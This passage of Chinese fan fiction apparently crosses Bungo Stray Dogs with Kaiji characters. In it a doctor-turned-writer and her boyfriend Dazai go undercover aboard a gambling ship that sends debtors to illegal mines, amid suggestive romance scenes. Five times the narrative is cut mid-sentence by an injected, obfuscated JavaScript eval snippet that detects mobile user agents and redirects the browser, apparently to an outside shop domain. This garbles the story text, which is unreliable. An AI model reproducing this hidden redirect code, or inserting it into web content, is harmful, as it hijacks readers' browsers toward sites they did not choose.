“雪纪,你想学会怎么和人相处吗,比如说到现在还在和你闹别扭的男朋友?”
猛点头。
我补充:“我更想知道勾引entp的小技巧。”
“咳,没问题。但是,你要先帮我一个忙才行。”
图穷匕见了兄弟。
挥开他的手,我舀了一勺豆腐,放在嘴边吹了吹,说:
“你指的是[上船]吧,那个男人说要你和你女朋友上船,我替代了你同事的身份,所以接下来我要配合你一起执行任务。”
“先说说是什么任务吧,如果是很好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404400|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的素材我就去。”
萩原研二放下了一直挑虾仁吃的筷子,故作神秘道:
“你知道[希望之船]吗。”
“希望之船?”
我脑海中浮现出一副画面。在广袤的海洋上,一艘如卢西塔尼亚号般壮美的轮船缓缓航行,承载了全部旅客回家希望的它早已偏离了航线,埋伏在水底的敌人用炮火轰开了它的闸门,旅客在破碎的甲板上发出悲鸣。
萩原研二双手合十放在唇边,深紫色的眸子在二楼并不明朗的光线下忽明忽暗。
“在地下d场流传着这样一个传说,当你背负着无力偿还的债款打算跳海一死了之时,神秘的大船会载着你远离世俗的牵绊。在船上,你享受了世间最顶级的快乐。等你下船时,曾令你头痛欲裂的债款早已还清。你欣喜若狂,迫不及待地飞奔到d场,等待那艘船再次救你于水火。”
“人们管它叫,[希望之船]。”
我顿时觉得索然无味起来。
“起了这么美的名字,原来只是d徒的消金窟罢了。”
没理会我的调侃,萩原研二继续。
“警方关注这艘船已经很久了,每月10号出港驶向公海,第二天再返回东京湾,但是上船和下船的人数却对不上。”
“死了?”
他摇摇头,“不,我们怀疑那些人被秘密带去了地下金矿做工。”
好家伙原来是一条生产线。
d博欠债—上船消债—消债不成—劳工挖矿,多么资本家的做法,把人的价值榨得干干净净。
我若有所思,
“所以非法采集金矿才是上面下令调查的主要原因吧,失踪几个d徒谁会在意。”
“咳,不要这么犀利嘛。”萩原研二无奈,“你陪我上船,我教你和e人谈恋爱,怎么样。放心,我会保证你的安全的,协助人森小姐、”
正要答应,我突然想起了太宰治对我说的话。
[肯定是警察为了拐跑雪纪的幌子]
难道那时太宰治就猜到了我会答应萩原研二的请求和他一起上船吗。
太宰治是在担心我,不想我搅进来的意思吧。
我顿时心花怒放。
别扭死了,真可爱。
我美滋滋地想着,对面的萩原研二突然战术后仰。
“不要随随便便在警察面前露出潜在砂人犯的笑容啊,我可是随身带着手铐的。”
17.先吃咖喱饭还是先洗热水澡
靠在i人宽厚的胸怀里
*
和萩原研二约定好上船那天碰面的时间,我看时间还早,买了点心去慰问成为社畜的纯子。
纯子现在在一家债券公司工作,具体什么职位我不知道,不过从前台小姐听说是来找梅津寺后殷勤的态度看出职位不低。
不管是太宰,还是纯子、萩原,大家成为社畜后依然活力满满,在岗位上发光发热,只有我一个人当了医生后累得头晕眼花火速跑路,这一对比真是太逊了。
不,一定是因为我是infp才会这样。
人格测试再一次体现出它的作用——用来背锅。
我来得不巧,和纯子刚聊没两句她就要出门“见客户”了。
“最近上面给我的工作量足足翻了一倍,害的我连吃饭都没时间。”纯子抱怨,“我都没时间产出你和太宰先生的同人了。”
我尬笑,“哈哈,哈哈哈,你忙你忙我先走了。”
带上点心夺路而逃,千万别让纯子想起我和太宰治的事。
我带着被纯子啃了一半的点心和从她办公室搜刮出来的草莓果冻和辣条回来时,太宰治不见踪影,只在洗碗池里留下了一篮子螃蟹。
莫非是算准了我体察到他的深意后痛哭流涕满怀愧疚的给他做螃蟹的十八种菜式?
好胜心上来了,我偏不。
把螃蟹仍进前两天新买的鱼缸里养着,因为之前觉得生活太堕落太无聊了,想养只宠物又怕给养死,我就买了一个大鱼缸准备养两条金鱼,现在正好用来养螃蟹。
我想想,冰箱里还剩了点牛肉和鸡蛋,咖喱块也快用完了。
呦西,今天就吃咖喱土豆炖牛腩吧。
——
太宰治回来的时候,我正在把咖喱块放进炖好的牛肉锅里。
起先我并没有发现他回来了,油烟机的声音太大,直到太宰治悄无声息地走到我身后,潜意识的警觉才促使我回头,发现太宰治站在那里,眼中是一片荒芜。
滴答,滴答,太宰治对湿透了的裤脚置若罔闻,绕开我凑到锅边闻了闻咖喱辛辣的味道,眼睛biu地亮起来,却抱怨道:
“好香!但为什么要做咖喱啊雪纪,我不是买了螃蟹吗。”
说话时他顺便拧了拧同样被河水浸透了的风衣,淌了一地的水。
我今早刚拖的地!虽然是扫地机器人干的活那也算是我拖的地!
太宰治你真把自己当美人鱼了吗。
感觉太宰治是在故意挑战我的底线,关火,我拉着他去浴室,“不要给我增加工作量好吗,合格的男朋友应该主动完成所有家务,不会干活的人没老婆。”
太宰治乖乖地任由我脱掉他的衣服,拆掉绷带后,白皙又伤痕累累的□□跳了出来,每一道伤口都触目惊心。
“……你是去表演胸口碎大石了吗,这么多伤。”
我点了点他胸口的一道痕迹,嗯,看上去有点像被人揍得。
看来侦探社的工作不像毛利小五郎先生那样清闲啊,还有生命危险。
太宰治躺在浴缸中舒展了身体,惬意地眯起眼睛,
“人家都被雪纪看光了,雪纪你一点都不害羞吗。”
我看白痴似的看他,“我是学医的诶,再鲜嫩的□□也只是一块肉好吗。”
扒开太宰治戏精的手,我又开始研究他腹部上的疤,这回是枪痕。
“……雷明登MSR狙击步枪,口径7.62x51mm,光后坐力就能让我这样的普通女性的胳膊脱臼,别提实弹威力了,能活着算你命大。”
说完我的肚子好像也跟着他的伤口疼了起来。
太宰治一只手抚摸着我的头发,语气听不出喜怒,只是好奇,“雪纪对枪/支还有了解?”
“军迷而已,略懂。”
我这个人,对什么都感兴趣都学一点,但不精通,所谓样样通样样松。
“……是吗。”太宰治好像并不满意这个回答。
“对啊,你先泡澡吧,一会儿饭好了叫你,啊!”
我正要走,太宰治突然拽过我的胳膊用力往下一拉,我脚底一滑直接落进了浴缸中太宰治的怀里,水花四溅。
“咳咳咳,你干嘛。”
衣服全湿了,紧紧地贴在皮肤上,白色的睡裙薄得透明,在水中空无一物。
我的挣扎微弱地让太宰治笑出了声,他手劲出气的大,一只手就牢牢攥住了我两只手腕,另一只手腾出来摸了摸我被水打湿的刘海,细心地把刘海别到一旁。
“吃饭又不着急,陪我洗澡好不好。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411559|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>卷毛一个劲地往我脖子上蹭,敏感的皮肤立即红了一片。
他到底要干嘛?
浴室氤氲的雾气里,我和太宰治手脚相缠在狭小的浴缸中,耳朵酥酥麻麻的一片,我不由自主地顺着浴缸的坡度往下滑,被太宰治半抱着提了起来。
他问:
“雪纪不好奇我为什么会受枪伤吗。”
“想知道我以前的职业吗,可以猜一猜哦,这个谜底在侦探社可是炒到了七十万元的价格。”
——
太宰治微微笑着,温和如吹落樱花的春风,我却觉得,他有一种“不装了我就这样,你害怕就趁快跑别等我后悔”的破罐子破摔的意思在里面。
但如果我真的跑掉了,他一定会很生气,把自己团成一个球。
“额,跳水运动员。”
“不对,再猜。”
没有被我的冷笑话逗笑,太宰治笃定了我调查过他,了解他的职业。
不知道说什么,感谢太宰治认可我的头脑和实力吧,但我真的对他的过去一点兴趣都没有啊,我猜都懒得猜。
这时的太宰治仿佛又回到了我们刚在一起时彼此适应的阶段。
对彼此没有任何信任好感,纯粹因为寂寞无聊走在了一起。
如今的我已经不满足于身体的慰藉取暖,我喜欢的东西必须属于我。
怎样才能让太宰治打消怀疑的念头呢。
平心而论,我也不想让别人知道我曾经的黑历史,所以我会让自己表现得像是一块透明清澈的水镜,谁都能翻开我的档案看一看,这样就不会有人对我的过去感兴趣了。
而太宰治,他是一块纯黑巧克力,外面包裹了金色的糖纸,剥开糖纸前要先掂量一下敢不敢去面对他的苦涩。
我选择把黑巧裹满糖霜,然后一口吞进肚子里不给反应的时间。
说白了,我对和太宰治在一起的未来的兴趣远胜于对他过去的兴趣,我只想吃巧克力,黑巧的苦涩就囫囵个过去吧。
只要我不断往里加精心熬制的糖浆,他自己就会变甜融化的。
好麻烦真的好麻烦,谈恋爱好难。
我干脆往后一仰,和太宰治拉开距离,拍拍我的胸口大义凛然道:
“人,我允许你躺在我宽厚的胸怀上。”
18.她好像真的喜欢我
那不然呢,i人迷茫
*
她好像真的喜欢我,太宰治不太确定的想。
靠在森雪纪的胸前,被热水濡湿的睡衣贴在他的脸颊上,水汽混着体温逐渐升高,把他的脑浆都快给烫熟了。
太宰治又往森雪纪的脖颈处蹭了蹭,雪纪闷哼一声,手抓住了他的头发,迫使他拉开距离。
森雪纪的手并不柔软,柔荑芦苇那些褒扬柔弱美人的词和她搭不上边,可能因为出身普通需要做工,又学医拿刀的缘故,她的手骨硬朗,附在薄薄的皮肉之下,太宰治可以想象出她在东都大学附属医院实习时跟在教授身后,在教授的指点下切开病人的皮肤时,锋利的手术刀没进血肉,藏在橡胶手套里的骨节根根分明,因为过于清瘦而绷出青筋。
是一双救人的手。
现在这只手小心翼翼的托着他的后脑勺,万般爱怜,好像她离开曾经梦想的东京离开千万浮屠来到横滨,只为救他一个人。
我们之前认识吗,为什么这样对我。
太宰治久违地感到迷茫,伶俐的大脑从未处理过类似的事件。
从森雪纪来到横滨,出现在他面前时太宰治就笃定这是场骗局。
为什么会来到横滨?不知道。
为什么会结识□□出身的朋友?不知道。
为什么会那么巧偶遇太宰治?不知道。
太宰治和森雪纪在河边相遇时,初春的横滨下起了雪。
当他们的手相握时,雪停了。
因此太宰治一直认为森雪纪又是不知道哪个炮灰组织派来横滨的先锋军。
所以他一次次把森雪纪置于危险的境地,从佐佐城信子到三溪园,就是为了揪住小狐狸尾巴。
明里暗里试探许多次,档案拆开研究个遍,找来那个在□□的闺蜜细细问了一遍。
梅津寺看到他都快吓哭了,听到来意后再三表示森雪纪只是神经大条了点,电波了点,为人绝对可靠,那架势誓要为他们的爱情保驾护航。
难道结果真的是聪明反被聪明误,是他想多了?
那么,将头深深埋在森雪纪的怀中,从未有过的情感如狂风挟着火苗将荒原般的心脏烧成了灰烬,熊熊燃烧的秸秆反倒将阴霾吹散了不少。太宰治双手搂住森雪纪的腰,浴缸中两人贴得更近了,是一对缠绕的并蒂莲。
她为什么喜欢我呀。
“你喜欢我什么。”
“啊,这还要问为什么吗。”森雪纪苦恼了一会儿,随口说:“因为我的生活很无聊,你也很孤独,我们拥抱取暖不好吗。”
森雪纪垂下头,淀蓝色的眼瞳如日光下的大海,突然狡黠地笑了,反身用力将太宰治压在浴缸死角,挑起他的下巴。
“太宰治,你现在已经无法自控地燃烧起来了吧,因为我,因为你的孤独终于被人发现了。”
太宰治瞳孔紧缩,又欲盖弥彰地放松,心知森雪纪将他的变化尽收眼底,无可奈何地苦笑。
是啊,是啊。
观察她的时候你会发现,其实你也很孤独。
后来你明白了,真正孤独的人只有你。
森雪纪只需要一个房子,还有足够的稿纸和钢笔就能快快乐乐的生活,她那么坚定从不贪心,衬得他人的欲望可有可无。
太宰治终于下定了决心。
“雪纪,和我交往吧。”
真正的交往。
出乎意料地,森雪纪白了他一眼。
“那可不行,礼尚往来,现在轮到我来考验你了。”
森雪纪直起身,长腿跨过浴缸边站在淋浴前脱掉了湿透的衣服,打开淋浴喷头草草冲洗了一遍。
她一边给沐浴液一边对太宰治说:
“你知道我的新书里写了什么吗。”
——
[我这些年东奔西走,终于勉强在横滨安定了下来。]
[说是安定也不尽然,横滨的街道如同米花,几乎每条马路上都曾发生过命案。]
[但对于从遥远的北海道而来,一路不敢停歇的我来说,横滨将是我最后的归处。]
“将是最后的归处,将来时,现在还不一定哦。”
从未料想过这样的回答,太宰治坐在浴缸里,隔着水雾只能看到一米外的森雪纪嘴角微微勾起,笑意似有若无。
——
攻略
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419111|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作战大成功?
洗好澡我又回到厨房,重新开火把咖喱牛腩炖好,盛出电饭煲里热腾腾的米饭将咖喱浇在上面,晚餐就做好了。
太宰治掐着点从浴室出来,闻着味就来了。
他夸张地把脸埋进盘子里闻了闻,“哇”的一声,元气满满地举手,
“好香,我还要玉子烧和海草当配草!”
我有时真的很佩服他的心理素质。
刚才在我身上哼哼唧唧,说什么“这可是人家第一次谈恋爱你捡到便宜了”、“妾为出来难,教君恣意怜”……不尴尬吗。
听得我头都大了啊,太宰治你是16岁的女高中生吗。
于是我冷酷无情地拒绝了他。
“哒咩,我谈恋爱的激情已经过去了,本货一经下架概不出售。”
费劲九牛二虎之力从太宰治的臂弯里把我的胳膊抽出来,我向门外一指,“你可以从我家搬出去了。”
“啊,红豆泥?哒咩哒咩。”
太宰治哭唧唧:“不要嘛人家还没有体会过爱情的甜光吃爱情的酸了,雪纪你都把我看光了不能始乱终弃。”
……谁看光谁啊,那是我想看吗,那不是你拉着我非要和我比比大小吗。
心中愤怒咆哮,我眼疾手快一勺子咖喱饭堵住了太宰治的嘴。
“食不言寝不语,别说话。”
……太宰治默默咀嚼咖喱牛腩,不说话了。
世界清净了。
难得的好机会,我把下周和萩原研二约定好的行程说了下。
“这月十号我要乘船出去采风,大概第二天就回来。”
“好啊。”我奇怪太宰治这回竟然这么好说话,然后下一句就是,“我们一起去。”
“不行,别忘了现在你才是处于考察期的新人。”
两级反转哼哼,我可是超级小心眼会记仇的。
手机收到了一则简讯,打开一看,是伊藤开司发来的。
[森同学,希望这次我没有辜负你的期望,你借给我的三十万,如果我能平安回来,一定加倍还你。]
我再次拧起了眉毛。
这家伙又想干嘛?
19.她逃他追她插翅难飞
这种亲热超过i人接受范围了
*
午夜,我和萩原研二在码头碰头,准备登船。
“这里。”萩原研二朝我招手。
或许是为了维护小片警把钱全拿来供养女朋友的人设,萩原研二今天穿的破破烂烂,和他本人的审美差了十万八千里。我朝他走来时一路吸引了不少目光,那群人看到我在萩原研二面前站定时张大了嘴巴。
萩原研二摘下墨镜凝视了片刻,赞许的点头。
“很好,就是这种夸张的衣品,让人一眼认出你是个拜金女。”
“真的有必要这样吗。”
我拢了拢假皮草披肩,再看看我穿的银色亮片小短裙,再看看脚上的十厘米红底高跟鞋,苍天啊。
拜金女不代表没有审美吧,为什么非要我穿这个。
根据萩原研二的剧本,我们是一对贪慕虚荣打肿脸充胖子的笨蛋情侣,欠下高利贷后大难临头各自飞,一会儿在船上我就要怒斥萩原研二是个废物和他分手,然后我俩分头行动,搜集这艘船的情报。
“别怕,有我在。”
萩原研二递给我一对银质耳钉,故意抬高了声调:“亲爱的,这是我从死者身上顺来的,收下了就代表你原谅我了好不好。”
懂了,是信号器和耳麦。
带上耳钉,我瞪了萩原研二一眼,扭着腰上了船,“哼,你还是想想两百万怎么还吧。”
又得到了一路的注目礼,萩原研二尽职尽责地当冤种男友对偷窥路人激情开麦,我时不时抛个媚眼,心里鸡皮疙瘩掉了一地。
幸亏今天太宰治不在家没看到我这身打扮出门,不然我能钻地缝里。
——
顺着人流我们聚集在大厅中央,我和萩原研二故意站在最后排的位置,听着台上名叫利根川的男人正在讲解游戏规则。
简单听了下,确认没多大难度后我就开始神游,搜寻一会儿我和萩原研二分手时勾搭的对象。
每个人在听到游戏规则时的表现都略有不同,兴奋紧张代表是第一次来或者欠债数额巨大,这种人不能选,要挑那些听规则时不认真,看起来来过好几次轻车熟路的人,才能多套点话。
我很快找到了目标,一个穿红色夹克衫,金色头发的男人。
趁着利根川让人们上前拿游戏的活动资金,我缓慢地向对方移动,被身边一道黑色的影子拦住。
“美丽的小姐,不知你能否和在下一起殉情?”
声音清越尾音上扬,带着几分勾人的味道,很耳熟。
我就像跳僵尸舞才不到一个月,只学会一帧一帧扭头的初级爱好者,不可思议的扭头望去。
太,太宰治???
他穿着一套纯黑色的西装,外面披了件加长款大衣,照例手腕上缠着绷带,和我打了个照面后短暂地愣住,随后眼睛都弯了起来,甜滋滋地问我:
“小姐,你欠了多少钱,我帮你还呀。”
“太宰。”
不等我回答,跟在他身后的另一位西装革履的眼镜精英男低声呵道:“是你主动接下这次任务的,好歹认真一点。”
“我很认真呀,我来这里就是为了抓女朋友回去的,拜拜安吾,其他的事你自己搞定吧。”
太宰治笑着回头挥挥手,转过来面向我的瞬间沉下了脸,扣住我的手腕往外拖。
我连告诉萩原研二一声的时间都没有,太宰治精准地在我喊出声的那一刻捂住了嘴,半搂半抱地将我拖到了大厅一角。
“太宰你,唔!”
重获自由后我还来不及问他怎么会在这里,嘴又被堵住了。
在几个月的交往中,我和太宰治接吻过吗,记不太清了。
反正,如此激烈的吻肯定是第一次。
逼到墙角后又托着脑袋将距离拉到最近,根本没有挣扎的机会,双唇就被太宰治撬开了防线。
胶着、黏腻、刺痛、欢愉。
过了不知多久这次亲吻才告一段落,我才有机会推开他。
“太宰,你怎么会在这里。”
“太宰是谁,在下岛津治也,想不到小姐的桃花这么旺啊,都认错人了。”
他在阴阳怪气什么啊,我不是都报备过会和警察假扮情侣吗。
“你能不能认真点,我问你话呢。”
太宰治不答,在鼻尖磨蹭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14430030|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的嘴巴又要往下滑,我赶忙双手交叉放在唇上,威胁意味明显。
太宰治停下来,气鼓鼓地看着我,见我不动如山才轻描淡写地说:
“政府怀疑这艘船的主人在非法使用横滨违禁品,本来只要安吾君一个人去就可以了,我来凑个热闹,没想到就碰到了雪纪。”
说到最后尾音又开始上扬,显得自己很卡哇伊。
我死目,什么叫凑巧凑个热闹啊,你是知道了我上的是这艘船后把自己硬塞进去的吧。
不过不是已经派了萩原君调查吗,横滨违禁品又是什么。
只能出现在横滨的东西,那就是……
马上就要想通了,太宰治突然又贴了上来。
“从你和那个小警察上船时我就一直注视着雪纪,雪纪好漂亮大家都在看你,为什么雪纪在家时不这么打扮给我看呢。”
说着他往下扯了扯裙子,不满地说道:“这裙子太短了,不好。”
虽然我也觉得这裙子很短很丑,但我是绝对不会穿给你看的。
“你喜欢的话我可以送你,你来穿。放心不用担心尺码塞不进去,我手很巧的,帮你缝得大一点。”
太宰治眼前一亮。
“穿女装给雪纪看吗,好耶。”
说罢又黏黏糊糊地把手放在我的腰上,美其名曰比比腰围大小。
“雪纪的腰好细,肌肉走势又漂亮,是专门锻炼过呢。”
啊,我好想回到太宰治之前态度对我不冷不热的时期,他现在太热情了,我有点受不了。
在大庭广众之下和男朋友亲热太超出我的承受能力了。
怎么办,好想逃,萩原研二人呢,他的协助人被挟持了不管管吗。
嘶,嘴唇被咬了一下。
“雪纪不专心哦,放心吧,政府的任务就交给政府的那两位去做,咱们玩咱们的。”
舌头已经发麻了,再也抵抗不住攻势任由处于上方的男人钻进来。
黑影又一次落下将人紧紧圈住,我几乎大脑缺氧,听到太宰治语焉不详的低语。
“我真的,真的,好忌妒雪纪在晚上穿着这身衣服去见另一个男人啊。”
20.i人烂好人属性大爆发
她是如此喜欢着我
*
推开太宰治后我首先摸了下耳钉,不会社死的那么彻底吧。
“耳麦没开,我确认过后才和雪纪贴贴的哦。”
太宰治的手还缠着我的腰不放,被我无情地扒了下来,下一秒太宰治的嘴立马撬得老高。
我叹口气,伸出手点点他的额头,“你啊。”
亲自动手把太宰治黑色的加长款大衣脱下来披在我身上,霎时鼻尖充斥着淡淡的香水味,连同被身体熨帖的,微热的温度一同将我笼罩在太宰治的世界中。
我默默把大衣往胸前拢了拢。
好骚包,不敢想太宰治是怀着怎样闪亮登场、让我惊艳的心情捯饬自己的。
咳,我被取悦了。
太宰治也很满意,“和我设想的一模一样~雪纪你真好。”
说着替我整理了下衣摆,银色的短裙被遮得严严实实,只露出了一截纤细的小腿还有脚踝。
我盯着他头顶上的旋儿,鸦黑色的头发微卷,看起来就很好摸。
顺从心意手放在蓬松的脑袋上拍了拍,太宰治身形一顿,将肩背塌得更低,挺拔削瘦的脊骨几乎要脱身而出,如同化茧成蝶的刹那。
“太宰君,[岛津治也]是你的假名吗。”我轻声问。
“嗯,[太宰治]在这种地方比较出名。”
他没有告诉我[出名]是什么意思,就拉着我回到了大厅中央。
“好了,我们去找另外两个人吧,他们都等半天了。”
啧,我不满地哼了一声。
太宰治总是有意无意打断我的思路,我本身也是注意力不集中的人,每次都让他得逞。
——
萩原研二不见踪影,我心虚了三秒,开始到处找人。
萩原君我们还没演戏呢,我戏瘾都被你勾上来了,不要放弃我们的剧本啊。
对了,还有耳麦。
我打开耳麦疯狂呼叫搭档,五分钟后萩原研二气喘吁吁地回应了我。
“雪纪吗,我刚才看你和男朋友在一起就没打扰你,我现在在跟踪一个人,一会儿再聊。”
然后迅速关掉了耳麦。
我:……对不起萩原君,拖你的后腿了。
我问太宰治:“你那边呢。”
见我的目光投过来,原本在听耳麦对面讲话的太宰治飞快地说:
“嗯嗯,好的安吾君你也自己行动了是吗,那我和雪纪就不管你了。”
太宰治兴高采烈地跑过来,“走吧,雪纪。”
我陷入沉思。
那位安吾君,真的没让太宰治帮忙吗。
总之现在在船上无所事事的人只有我和太宰治,我们和其他人一起领了一会儿游戏要用的钱和卡牌,把代表[寿命]的三颗星星别在胸前。
利根川之前站在台上强调,如果发下来的十二张牌全部输光,身上没有三颗星星,就要在地下金矿劳作十年。
我和太宰治都没把这话当回事,继续无所事事地乱逛。
正当太宰治提议我们去休息室待一会儿时,从休息室冲出来两个男人,差点把我撞倒。
“伊藤君?”
伊藤开司同样很惊讶,“森同学,你怎么会在这?”
——
伊藤开司,我的大学同学,有个非常不健康的爱好,因此欠了我三十万。
看到他出现在这艘船上,我有点担心他还能不能还钱,别去挖黑矿了。
我的担忧没有对伊藤开司造成影响,显然他很高兴觉得有我在下船不是梦,并向我介绍他的朋友,名叫古钿。
我看到古钿后脱口而出:“是你,总是色眯眯盯着我看的变态便利店员。”
那个负责晚班的便利店店员,每次一见到我就会双眼自动目送八百米,眼中没有欣赏,纯骚扰。
“哈?”
伊藤开司的语气不善起来,“古钿,你怎么回事。”
古钿的脸上直冒冷汗,赔笑道: “我那只是欣赏,欣赏。”
“人家需要你欣赏吗,知不知道大学时因为和她分配到一组做实验多少人扬言排着队要揍我啊。”
伊藤开司忍无可忍,把古钿压到角落教训一顿后又拉着向我道了歉。
我看着和古钿一起朝我深鞠躬的伊藤开司叹了口气。
“这事跟伊藤君没关系,你道什么歉。”
“不行的。”伊藤开司很认真,“森同学和古钿都是我的朋友,我结交的朋友让你感到冒犯,那就是我的责任。”
对这种死脑筋的人真是没办法。
大学时伊藤开司的专业是生物,我是医学,大三那年因为学术交叉偶尔我们两个专业会一起上实验课。那时伊藤开司已经认识我,自认为和我是牌友经常单方面和我讨论赌/术问题,我烦不胜烦,天天见到他就绕道走。
但在本学期的第一节实验课上,我终于找到了伊藤开司的价值。
在一群虎视眈眈盯着我的男生中,我果断选择了眼里没有美丑只有赌/术的伊藤君做搭档。
伊藤君非常讲义气,在多次威胁下愣是和我搭档了一学期。
就冲这个,我对伊藤开司提不起气来。
“别说这个了,”我摆摆手,“你是因为什么上船的,我是听说船上有一局奖励非常诱人的牌局所以来凑个热闹。”
如果是打牌输了不至于欠那么多还不起,我朝太宰治解释。
伊藤君可是每次到了山穷水尽之时反而爆发出惊人的智力,让自己反败为赢,就像被幸运女神眷顾了一样。
伊藤开司瞪了旁边的古钿一眼,“这个说来话长。”
……
我以为耳朵自行配音大脑出现了幻觉,不可置信地重复了一遍:“古钿他借高利贷让你当担保人,跑路了害你背贷款上船,现在你还要和他结盟幻想他不会第二次背叛你?”
我之前借给伊藤开司的三十万,就是古钿借贷的本金。伊藤开司原以为还钱后就没事了,结果追债人告诉他,高利贷利滚利后他总共要还三百多万。
迫于无奈,伊藤开司登上了这艘[希望之船]。
只要在[石头剪刀布]的卡牌游戏中胜出,欠下的债务就能一笔勾销。
我:“你疯了吧,没有他你现在还在家里吹着风扇打游戏呢。”
伊藤开司挠挠头:“好像是有点道理……”
古钿吓地噗通跪在地上抱住了伊藤开司的腿,“开司君你放心,我绝对不会背叛你一定听你的话。”
话是对伊藤开司说的,眼睛却不住地往我这边瞟。
他知道,没有伊藤开司他赢不了游戏,伊藤开司是他活下来唯一的希望。
好烦,我抓紧了披在身上的大衣,杀心渐起。
这个家伙,根本没有真心悔过吧,他只是利用伊藤开司的善心而已。
伊藤开司又犹豫了,我有种不祥的预感。
不管是谁如何得罪了他,只要对方求饶哭诉伊藤开司就忍不住心软。
伊藤开司,有时是最穷凶极恶的d徒,有时天真善良的过分。
果然,几番犹豫下伊藤开司扶起了跪在地上的古钿。
“森同学你不用担心我,我一定能下船的,我还会带着我的朋友一起离开这里。”
伊藤开司目光坚定。
我绝望地闭上眼。
单蠢得让人心惊。
我捂住脸,艰难地说:
“我不担心你的智商我担心你看人的眼光,别又被背刺了啊。”
一旁的古钿松了口气,为他自己。
我深深皱起了眉头,万一这家伙又背刺了怎么办,不行,不能这样对待伊藤君。
“伊藤君,过来。”
我把伊藤开司拉到角落。
“你现在就剩一颗星星了?”
伊藤开司点点头,不明就里。
我把贴在我胸前的,三颗星星其中的两颗撕了下来,塞到伊藤开司手中。
“不要动,不要拿出来,我不需要这个就能下船。”
“森雪纪!”
竟敢连名带姓的吼我,制止了伊藤开司推让的动作,我整理好了衣服,贴在我胸前的最后一颗星星掩在宽大的大衣之下,这样就看不出来少了几颗了。
“你就把星星放在兜里,当是最后的保险吧,如果游戏输了的话。”
不等伊藤开司反抗,我拉着一直在旁边看戏的太宰治跑了。
久违地做了一件好事,从满载d徒的轮船时就不断下沉的心,在这一刻终于轻松了许多。
——
来到大厅旁的休息室,这里的人出乎意料的多,见此情形太宰治挑了挑眉,他一定在想一些糟糕的事。
果然,太宰治示意我坐在他的大腿上作出耳鬓厮磨的姿态,几个回合下来才掐着我的耳垂问道:
“雪纪你为什么要把星星让给开司君。”
他不会又吃醋了吧。
我思考片刻,“因为伊藤君是个烂好人啊。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439892|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烂好人?”
“对啊,伊藤君是那种即使自己手里只有一张牌,也会送给比自己弱小的人,然后凭着孤勇为自己再赢一张牌的人。他那么重情义,才会一次次上当受骗,我喜欢这样的伊藤君,所以忍不住帮一点忙,不想让他陷入绝望的境地。”
反正对我来说无伤大雅,不说这艘船靠岸后会直接被警察拿下,单论打牌我就没输过,两颗星毛毛雨啦。
我不会做超出自己能力范围外的事,这一点太宰治完全不用担心。
没想到太宰治根本没听我在说什么,草率地下了结论。
“在我眼里,雪纪也是个烂好人。”
“我?别开玩笑了,我只是改过自新了而已。”
我只是在赎罪而已,提醒伊藤开司不要上瘾,把星星交给他,都是为了让我自己好受一点。
来到这个世界后做的一切事都是为了我自己。
“改过自新?”
太宰治一幅很感兴趣的模样,将我的被他把玩的手指放在嘴边亲了一下,软软地撒娇。
“人家想听嘛,想听雪纪的故事。”
没办法,我把背景做了模糊处理随便交代了几句。
“太宰君,我从前也玩过一阵子牌,不是上瘾不是走投无路,就是单纯的玩。我喜欢的不是玩牌时肾上腺素飙升的快感,而是d桌对面那人失败后痛哭流涕的绝望模样。
